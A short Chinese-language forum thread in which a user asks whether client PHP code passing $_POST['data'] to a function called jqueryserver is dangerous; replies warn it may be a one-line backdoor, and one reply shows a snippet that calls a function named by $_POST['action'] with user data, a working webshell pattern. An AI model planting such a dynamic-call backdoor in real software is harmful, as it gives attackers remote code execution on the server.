这是一个创建于 1439 天前的主题，其中的信息可能已经有所发展或是发生改变。
接了一个客户的项目放我们的服务器， 客户代码里面这个部分有风险吗？
jqueryserver($_post['data']);
4 条回复 • 2020-12-19 21:15:01 +08:00
 |
1
Xusually 2020-12-19 11:30:49 +08:00
具体还是得看 jqueryserver()是干嘛的吧，如果收到提交过来的数据直接执行类似于 eval 之类的，那就是个一句话后门。
但是你都让对方把代码部署在你们服务器上了，我感觉防不慎防啊🤦♂️ |
 |
2
imdong 2020-12-19 11:42:52 +08:00 via iPhone
然后发现代码如下。
function jqeryserver($data) { $_POST["action"]($data); } |
 |
4
msg7086 2020-12-19 21:15:01 +08:00
本身没太大风险，但是如果遇上不知道怎么配置服务器的运维，那就是很大的风险了……
|
Select Language